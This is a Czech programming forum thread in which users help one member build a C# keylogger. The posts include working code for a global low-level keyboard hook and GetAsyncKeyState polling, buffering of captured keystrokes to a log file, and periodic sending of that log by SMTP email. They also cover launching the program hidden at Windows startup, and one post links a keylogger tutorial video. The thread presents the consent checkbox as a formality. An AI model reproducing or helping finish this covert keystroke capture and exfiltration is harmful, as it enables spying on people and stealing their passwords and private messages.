Diskuze: KeyLogger/KeyHook
V předchozím kvízu, Test znalostí C# .NET online, jsme si ověřili nabyté zkušenosti z kurzu.
![Avatar](images/avatars/958_thumb.png?v=-62169987464)
![Avatar](images/avatars/958_thumb.png?v=-62169987464)
matesax:18.10.2012 6:48
No nevím, jak bys s dnes mohl poslat škodlivý software, ale tako vypadá Keydboard Hook:
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
public struct KeyboardHookStruct
{
public int VkCode, ScanCode, Flags, Time, DwExtraInfo;
}
public class GlobalKeyboardHook
{
public delegate int keyboardHookProc(int code, int wParam, ref KeyboardHookStruct lParam);
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref KeyboardHookStruct lParam);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
private const int WH_KEYBOARD_LL = 13, WM_KEYDOWN = 0x100, WM_KEYUP = 0x101, WM_SYSKEYDOWN = 0x104, WM_SYSKEYUP = 0x105;
private IntPtr hhook = IntPtr.Zero;
public event KeyEventHandler KeyDown, KeyUp;
public GlobalKeyboardHook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
~GlobalKeyboardHook()
{
UnhookWindowsHookEx(hhook);
}
public int hookProc(int code, int wParam, ref KeyboardHookStruct lParam)
{
if (code >= 0)
{
KeyEventArgs kea = new KeyEventArgs((Keys)lParam.VkCode);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
KeyDown(this, kea);
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
KeyUp(this, kea);
if (kea.Handled)
return 1;
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
}
Použití:
using System;
using System.Windows.Forms;
namespace key_preview
{
public partial class Form1 : Form
{
GlobalKeyboardHook gkh = new GlobalKeyboardHook();
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(GlobalKeyboardHook_KeyDown);
gkh.KeyUp += new KeyEventHandler(GlobalKeyboardHook_KeyUp);
}
private void GlobalKeyboardHook_KeyUp(object sender, KeyEventArgs e)
{
e.Handled = true;
}
private void GlobalKeyboardHook_KeyDown(object sender, KeyEventArgs e)
{
e.Handled = true;
}
}
}
Mediel:18.10.2012 8:19
Hezky, ale je to presne to, cemu moc nerozumim. Takovychto podobnych kodu je
plny internet, ale ja proste nevim, co ktery prikaz dela...
Napadla mne myslenka nejakeho Real Time KeyLoggeru s radou funkci, jako cmd,
printscreen a pod
David Hartinger:18.10.2012 10:15
Já jsem se tyhle věci naučil raději nechápat a beru je jako blackbox.
Koukám, že je tam nějaký dllimport, to je bordel z vnitřností operačního
systému, který někdo vyplodil na základě dokumentace a který je velmi
těžké pochopit. Zabalil bych to úhledně do třídy a hotovo
Mediel:18.10.2012 13:39
No já na to koukám jako kocour v botách D tedy povedlo se mi neco
sesmolit pomocí jedné knihovny, ale vrací to nějak divné hodnoty. Tedy
znaky to vrací ok, ale když si nechám vypsat hodnotu znaku 'a', tak to
vypíše 65 a ne 97...
[DllImport("User32.dll")]
static extern int GetAsyncKeyState(int vKey);
private void tKey_Tick(object sender, EventArgs e)
{
// Snímá stisknuté klávesy
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
tbLog.Text += Enum.GetName(typeof(Keys), i);
}
if (tbLog.Text != "")
{
tbLog.Text = tbLog.Text.Replace("rOem6", "(");
tbLog.Text = tbLog.Text.Replace("Space", " ");
tbLog.Text = tbLog.Text.Replace("Delete", "<Del>");
tbLog.Text = tbLog.Text.Replace("LShiftKey", "<SHIFT>");
tbLog.Text = tbLog.Text.Replace("ShiftKey", "");
tbLog.Text = tbLog.Text.Replace("OemQuotes", "!");
tbLog.Text = tbLog.Text.Replace("Oemcomma", "?");
tbLog.Text = tbLog.Text.Replace("D8", "á");
tbLog.Text = tbLog.Text.Replace("D2", "ì");
tbLog.Text = tbLog.Text.Replace("D3", "š");
tbLog.Text = tbLog.Text.Replace("D4", "è");
tbLog.Text = tbLog.Text.Replace("D5", "ø");
tbLog.Text = tbLog.Text.Replace("D6", "ž");
tbLog.Text = tbLog.Text.Replace("D7", "ý");
tbLog.Text = tbLog.Text.Replace("D9", "í");
tbLog.Text = tbLog.Text.Replace("D0", "é");
tbLog.Text = tbLog.Text.Replace("Back", "<==");
tbLog.Text = tbLog.Text.Replace("LButton", "<Levé myšítko>");
tbLog.Text = tbLog.Text.Replace("RButton", "<Pravé myšítko>");
tbLog.Text = tbLog.Text.Replace("NumPad", "");
tbLog.Text = tbLog.Text.Replace("OemPeriod", ".");
tbLog.Text = tbLog.Text.Replace("OemSemicolon", ",");
tbLog.Text = tbLog.Text.Replace("Oem4", "/");
tbLog.Text = tbLog.Text.Replace("LControlKey", "<CTRL>");
tbLog.Text = tbLog.Text.Replace("ControlKey", "<CTRL>");
tbLog.Text = tbLog.Text.Replace("Enter", "<ENT>");
tbLog.Text = tbLog.Text.Replace("Shift", "<SHIFT>");
tbLog.Text = tbLog.Text.ToLower();
nevite nekdo co s tim? Presneji, jak vracet treba hodnoty v ascii? Takhle to dela bordel i v zavorkach a pod.
matesax:18.10.2012 15:06
To je mi ale prase kód!
Co nechápeš na tom mém? Stáhnul jsem si potřebné zprávy a jen si je poslal do KeyEventu... (To mé je tedy rozhodně lepší - dostaneš normální KeyDown(Up) - tedy bez timeru a bez převodu znaků...)
Jediné čemu nemusíš rozumět jsou IntPtr a int zprávy. No ty jsou prostě dané - zjistíš je v příslušném manuálu, zbytek je dost jasný - tedy ještě možná nechápeš delegáty - Google... Ještě jsem to zjednodušil:
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.ComponentModel;
public struct KeyboardHookStruct
{
public int VkCode, ScanCode, Flags, Time, DwExtraInfo;
}
public class GlobalKeyboardHook
{
private const int WH_KEYBOARD_LL = 13, WM_KEYDOWN = 0x100, WM_KEYUP = 0x101, WM_SYSKEYDOWN = 0x104, WM_SYSKEYUP = 0x105;
private IntPtr hhook = IntPtr.Zero;
public delegate int KeyboardHookProc(int code, int wParam, ref KeyboardHookStruct lParam);
public event KeyEventHandler KeyDown, KeyUp;
private static KeyboardHookProc callbackDelegate;
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, KeyboardHookProc callback, IntPtr hInstance, uint threadId);
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref KeyboardHookStruct lParam);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
public GlobalKeyboardHook()
{
IntPtr hInstance = LoadLibrary("User32");
callbackDelegate = new KeyboardHookProc(HookProc);
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, callbackDelegate, hInstance, 0);
}
~GlobalKeyboardHook()
{
if (!UnhookWindowsHookEx(hhook))
throw new Win32Exception();
callbackDelegate = null;
}
public int HookProc(int code, int wParam, ref KeyboardHookStruct lParam)
{
if (code >= 0)
{
KeyEventArgs kea = new KeyEventArgs((Keys)lParam.VkCode);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
KeyDown(this, kea);
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
KeyUp(this, kea);
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
}
Použití:
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(GlobalKeyboardHook_KeyDown);
gkh.KeyUp += new KeyEventHandler(GlobalKeyboardHook_KeyUp);
}
private void GlobalKeyboardHook_KeyUp(object sender, KeyEventArgs e)
{
}
private void GlobalKeyboardHook_KeyDown(object sender, KeyEventArgs e)
{
}
Co přesně tedy nechápeš?
Pardon - oprava konstruktoru:
public GlobalKeyboardHook()
{
IntPtr hInstance = LoadLibrary("User32");
callbackDelegate = new KeyboardHookProc(HookProc);
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, callbackDelegate, hInstance, 0);
if (hhook == IntPtr.Zero)
throw new Win32Exception();
}
matesax:18.10.2012 15:44
V jedné třídě to mám - právě, že stačí jen z ní vytvořit instanci...
Ten kod jsem pouzil odtud: http://www.zive.cz/…default.aspx
jinak, jak ulozim do TB nejaky ten znak?
Uz to mam, funguje to pekne, ale myslenka byla takovato:
Po zahackovani souhlasu, ze tento program neni vyuzivan protizakonne se prave spustil ten timer a zacal snimat...
Ale, kdyz chci napsat zavorku, nebo druhou, tak to dela stejne neplechu. V podstate to funguje naprosto stejne jako ten kod z zive.cz. A dalsi vec je, ze pri ukonceni programu to na tomto radku:
~GlobalKeyboardHook()
{
if (!UnhookWindowsHookEx(hhook))
throw new Win32Exception(); // tomto radku hodi chybu: "Systém nemůže nalézt uvedený soubor"
callbackDelegate = null;
}
Mám soubor "Log.txt", do něj stále zapisuji nějaká data, ale občas byc jej rád odeslal na email, jak to udělat? Když to zkouším, tak se to brání tím, že tento soubor využívá jiný proces.
matesax:19.10.2012 7:08
Je to prosté - nezapisuj do souboru jako ďas - to je prasárna. Je lepší data ukládat na začátku a na konci - ne že hned jak se mi změní nějaý text... Tím tedy nebudeš vycházet z nějakého souboru, ale z proměnné... Je ale také možné, že neuzavíráš stream - tak ho dej do using.
Napadlo mne reseni na zaklade tveho komentu, dekuji
Udelam to tak, ze si budu data bufferovat a zapisu je jednou za nejakou dobu.
Ne, mam pocit, ze po prvnim odeslni logu, to zustane nejak viset v tom
emailSenderu a pak do toho souboru nejde dale pristupovat
Budu to muset poradne promyslet a prozkouset...
to neni, no... V celku
je to s nim souboj. Ostatne, udelal jsme tam spousteni po starti windows, ale
nevim, jak tam dostat parametr, aby se to spoustelo skryte. Tedy -h
Jinak s tim souborem si jeste nejak pohraju, nejake reseni se najde
matesax:19.10.2012 16:16
Jednoduše - v main (defaultně v souboru "Program") smaž parametr při volání Application.Run:
new Form1();//Sem doplň název tvého formu
Application.Run();
A pak někde - xxx.Show();
David Hartinger:19.10.2012 16:18
Pokud soubor správně zavíráš (resp. tam máš using blok), tak nevidím problém.
Takto odesilam email:
public void SendLogWithFile(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log, string FilePath)
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress(User);
mail.To.Add(new MailAddress(Adress));
mail.Subject = Topic;
mail.Body = Log;
mail.Attachments.Add(new Attachment(FilePath));
SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
klient.Credentials = new NetworkCredential(User, Pass);
klient.EnableSsl = false;
klient.Send(mail);
}
takto zapisuji do souboru:
// zapíše do souboru
StreamWriter zapisDoSouboru = new StreamWriter(tbSetupPath.Text, true);
zapisDoSouboru.Write(sBufferForFile);
zapisDoSouboru.Close();
sBufferForFile = "";
lze nejak testovat, zda se program spustil skryte?
matesax:19.10.2012 16:37
Pokud použiješ to moje, není třeba testovat...
using (StreamWriter zapisDoSouboru = new StreamWriter(tbSetupPath.Text, true))
zapisDoSouboru.Write(sBufferForFile);
Já vim, ale mám to udělané pro uživatele. Tedy je tam nějaké GUI, kde
se uživatel může štourat v nastavení a pod... Pak je tam třeba
zaháčkovat checkBox o tom, že souhalsí s pravidly používání a až poté
lze pomocí tlačítka keyLogger spustit.
Přidělal jsem tam spuštění programu po startu windows, ale zatím nevím,
jak ošéfovat, aby se i zaplo logování kláves.
Proto potřebuji nějak rozlišit, jak byl program spuštěn. Pokud byl spuštěn uživatelem, tak ten si zaháčkuje a klikne na tlačítko, ale pokud to bude spuštěné po startu win, tak tam to nějak potřebuji ošéfovat.
matesax:19.10.2012 16:53
Dej zobrazit dialog:
if (MessageBox.Show("Souhlasíte...?", "Nadpis", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1) == DialogResult.Yes)
Application.Run(new Namespace.JménoTvéhoFormu());
matesax:19.10.2012 16:57
Ukládáš-li nastavení, nebo více než pár dat, rozhodně použij databázi...
![Avatar](images/img/person.png)
![Avatar](images/img/person.png)
https://www.youtube.com/watch?… tady na tomdle videu
najdete jak si udělat vlastní keylogger
Je to uplně suprový video sám sem ho podle toho udělal a šlape uplně suprově0. Jinak psal jsem i tomu autorovi David Roško a je ranec ochotnej s čímkoliv poradit
Co to do psi materi je?
Error 1 Unable to copy file "obj\x86\Debug\KeyLogger 1.0.exe" to "bin\Debug\KeyLogger 1.0.exe". Access to the path 'bin\Debug\KeyLogger 1.0.exe' is denied. KeyLogger 1.0
co s tim?
matesax:24.10.2012 17:20
Vždyť to je ten jeho program - jak píši - chce to více informací...
No více info, já jich víc nemám... spustil jsme ho, šlo to bez problému, vypnul jsem ho upravil jsem lehce kód a chtěl spustit znovu. Nešlo to, tak jsem vrátil kód, ale beztak to nejde...
matesax:24.10.2012 18:20
Tak pošli kód - pošli, co jsi měnil... (Mohl jsi tam nechat nějakou drobnost...)
David Hartinger:24.10.2012 18:33
Možná ti zůstal proces viset nebo jsi měl projekt v jiné složce.
Zdravim,
mam stale problem se zapisem do douboru...
Tedy mam ten keyLogger, zapisuji do souboru ve vlastni metode:
// Zapíše do souboru
private void WriteToFile()
{
using (StreamWriter zapisDoSouboru = new StreamWriter(tbSetupPath.Text, true, Encoding.UTF8))
{
zapisDoSouboru.Write(sBufferForFile);
}
sBufferForFile = "";
}
odesílám email takto:
public void SendLogWithFile(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log, string FilePath)
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress(User);
mail.To.Add(new MailAddress(Adress));
mail.Subject = Topic;
mail.Body = Log;
mail.Attachments.Add(new Attachment(FilePath));
SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
klient.Credentials = new NetworkCredential(User, Pass);
klient.EnableSsl = false;
klient.Send(mail);
}
Napoprvé to bez problémů zapíše a napodruhé to vždy spadne... Tedy zapisuji do souboru po 1000 znacích. Po spuštění programu a naspíní přes 1000 znaků, to bez potíží zapíše do souboru a soubor odešle. Ale při druhém 1000 znaků už to spadne s výjimkou, že soubor je používán jiným procesem.
metoda pro zapis a odeslani vypada takto:
// Timer pro smazávání okna a odeslání emailu
private void tClear_Tick(object sender, EventArgs e)
{
sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
tbLog.Text = ""; // vymazu okno
// Pokud je povolené odesílání emailů
if (chbSendEmail.Checked == true)
{
// Pokud je délka delší, než požadovaná délka
if (sBuffer.Length > int.Parse(tbSetupEmailSumOfChar.Text))
{
sSendBuffer = sBuffer;
sBufferForFile += sBuffer; // Do Bufferu pro soubor přidám to, co je v okně
WriteToFile(); // zapíše do souboru
sBuffer = ""; // vyprázdním okno
// pokud je zakázané zasílání i souboru
if (chbSetupSendFile.Checked == false)
{
Thread t = new Thread(new ThreadStart(SendLog));
t.Start();
}
else
{
Thread t = new Thread(new ThreadStart(SendLogWithFile));
t.Start();
}
}
}
fakt už nevim...
Nemůže to být tím vláknem? Nemám ho po dokončení nějak zrušit?
David Hartinger:28.10.2012 19:26
Koukám na ta vlákna, opravdu jsou v takové aplikaci potřeba? Sám se jim vyhýbám jako čert kříži a nikdy mi nechyběly, přínáší spíše zlo než užitek.
Mediel:28.10.2012 22:03
Ono právě bez toho vlákna pak program při odesílání na okamžik zatuhne a to zas vytvoří další chyby... Tak proto ta vlákna. Musí přeci existovat nějaké řešení, jak to udělat...
Kit:28.10.2012 22:21
Vlákna jsou dobrá věc, ale musí se na pár věcí dát pozor. Proto se jim programátoři vyhýbají. Aplikace s více vlákny se vlastně chová jako malý operační systém a není triviální ho udržet na uzdě.
Mediel: To vlákno musíš po zápisu nějak ukončit, jinak se ti budou množit.
Mediel:28.10.2012 22:51
Vubec nevim, kam to dat... S vlakny jsem pracoval poprve a tak v tom mam trochu gulas.
Kit:28.10.2012 23:06
Zkusil jsem Googla, tak se také podívej. Mělo by se to ukončit i samo.
Dejme tomu, ze se tedy vlakno ukonci samo po vykonani metody... Ale ted by mne zajimalo, jak udelat to s tim souborem...
Myslim si, ze 1000 znaku chvilku trva, nez naboucham do klavesnice, prijde odeslani zaroven to zaznamenava dalsich 1000 znaku, zas to chvili trva, ale pri pokusu o odeslani to spadne, ze k souboru kam zapisuji pristupuje jiny proces, no to bych si ho z toho vyskub.
Kit:29.10.2012 6:30
A není to tím, že zapisuješ do vlastního ".exe" místo do datového souboru?
David Hartinger:29.10.2012 9:06
A jaké chyby to zatuhnutí vytvoří? Maximálně ti to nevezme pár znaků, ne? Zkus to bez vláken, abychom zjistili, jestli máš ten zápis dobře udělaný.
I bez tech vlaken to dela... Uz ale asi vim, kde je chyba...
Je to nastavene tak, ze pokud to presahne 1000 znaku, tak to ma zapsat do souboru, muze se vsak stat, ze pri otevreni nejakeho okna tam skoci 1004 znaku a ja pak kliknu na dalsi okno a ono to chce zapsat do souboru a to nejde.
Zkusim to vyresit tak, ze tam dam nejakou kontrolni podminku typu bool, kde bude neco jako probihaZapisDoSouboru a kdyz bude True, tak se to bude dale bufferovat a kdyz false, tak se bude moc zapsat...
Snad to je timto... Jinak uz mi fakt jebne.
Kit:29.10.2012 13:14
Udělej to jako kruhový buffer a druhý ukazatel posuň vždy jen tam, kde jsi skončil se zápisem.
David Hartinger:29.10.2012 13:24
Tak počítadlo znaků nuluj před zápisem a ne po zápisu. Tedy přesněji ten buffer, si ho zkopíruj a ulož kopii, původní vyprázdni.
Zobrazeno 50 zpráv z 67.